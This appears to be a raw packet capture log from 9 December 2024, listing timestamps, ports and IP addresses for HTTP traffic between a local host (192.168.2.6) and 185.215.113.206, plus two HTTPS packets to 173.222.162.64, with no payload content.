Dec 9, 2024 18:20:08.097534895 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.098541975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.098592043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.098669052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.098711967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.099697113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.099742889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.099819899 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.099869013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.100820065 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.100862980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.101066113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.101111889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.101941109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.101978064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.102010965 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.102052927 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.112201929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.112265110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.112338066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.112384081 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.112751007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.112792969 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.112905025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.112948895 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.113786936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.113827944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.113945961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.113986015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.114869118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.114907980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.114985943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.115026951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.115930080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.115973949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.116044998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.116084099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.116980076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.117021084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.117089033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.117134094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.118110895 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.118153095 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.118221045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.118271112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.119039059 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.119086981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.119221926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.119266033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.120044947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.120086908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.120203018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.120244026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.121006966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.121052027 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.121124983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.121182919 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.148627996 CET	443	49702	173.222.162.64	192.168.2.6
Dec 9, 2024 18:20:08.148749113 CET	49702	443	192.168.2.6	173.222.162.64
Dec 9, 2024 18:20:08.169981956 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.170042038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.170106888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.170150042 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.170440912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.170506001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.170540094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.170588017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.171439886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.171508074 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.171545029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.171595097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.172343016 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.172401905 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.172494888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.172543049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.173330069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.173388004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.173454046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.173506021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.174329996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.174382925 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.174442053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.174490929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.175347090 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.175400972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.175441980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.175488949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.176405907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.176462889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.176549911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.176599026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.177268982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.177320957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.177409887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.177459955 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.178143978 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.178195000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.178231955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.178280115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.179085970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.179141045 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.179183006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.179229975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.179994106 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.180047035 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.180104017 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.180152893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.181137085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.181193113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.181279898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.181327105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.182064056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.182121038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.182157040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.182208061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.182940960 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.182998896 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.183046103 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.183085918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.183891058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.183947086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.184160948 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.184216022 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.184833050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.184905052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.184942961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.184942961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.185765028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.185821056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.185842037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.185890913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.186755896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.186805964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.186872005 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.186920881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.187670946 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.187721968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.187761068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.187808037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.188720942 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.188859940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.188889980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.188903093 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.188931942 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.189677000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.189729929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.189831972 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.189878941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.190591097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.190660954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.190732002 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.190777063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.191663980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.191709995 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.273350954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.273451090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.273547888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.273597956 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.273853064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.273900032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.273947001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.273997068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.276624918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276688099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.276777983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276789904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276806116 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276818037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276829004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.276830912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.276854992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.276884079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.277812004 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.277868986 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.278119087 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.278168917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.278764009 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.278815031 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.278939962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.278990984 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.279539108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.279591084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.279596090 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.279637098 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.280534983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.280549049 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.280584097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.280608892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.281429052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.281475067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.281565905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.281615019 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.283904076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.283921957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.283973932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.284013033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.284559011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.284570932 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.284585953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.284598112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.284609079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.284609079 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.284631014 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.285520077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.285573006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.286050081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.286098003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.286415100 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.286468983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.286595106 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.286643982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.287333012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.287345886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.287380934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.287400007 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.288290977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.288347006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.288485050 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.288544893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.289237976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.289287090 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.289376974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.289421082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.290085077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.290113926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.290123940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.290150881 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.291049957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.291105032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.291320086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.291368008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.304620981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.304634094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.304712057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.304820061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.304867029 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.304924011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.304969072 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.305742979 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.305788994 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.305952072 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.305993080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.306828976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.306876898 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.307033062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.307073116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.307777882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.307816982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.307863951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.307899952 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.308674097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.308718920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.308758020 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.308790922 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.309632063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.309683084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.309720993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.309765100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.310518980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.310569048 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.310611010 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.310647964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.311481953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.311532021 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.311593056 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.311635971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.312459946 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.312509060 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.312544107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.312589884 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.400166988 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.400258064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.400276899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.400330067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.400628090 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.400684118 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.400762081 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.400808096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.401638985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.401695967 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.401945114 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.401994944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.402118921 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.402169943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.402929068 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.402975082 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.403038025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.403080940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.403927088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.403975964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.404078007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.404172897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.405159950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.405220985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.405252934 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.405316114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.405880928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.405937910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.406006098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.406050920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.406738997 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.406789064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.406827927 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.406863928 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.407711983 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.407762051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.407823086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.407864094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.408741951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.408785105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.408885956 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.408926964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.409729958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.409782887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.409822941 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.409862041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.410693884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.410753965 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.410780907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.410820961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.411686897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.411740065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.411750078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.411788940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.412528038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.412583113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.412626028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.412668943 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.413552999 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.413628101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.413758993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.413820982 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.414410114 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.414469957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.414570093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.414616108 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.415366888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.415467978 CET	80	49707	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:08.415512085 CET	49707	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:08.415524960 CET	49707	80	192.168.2.6	185.215.113.206
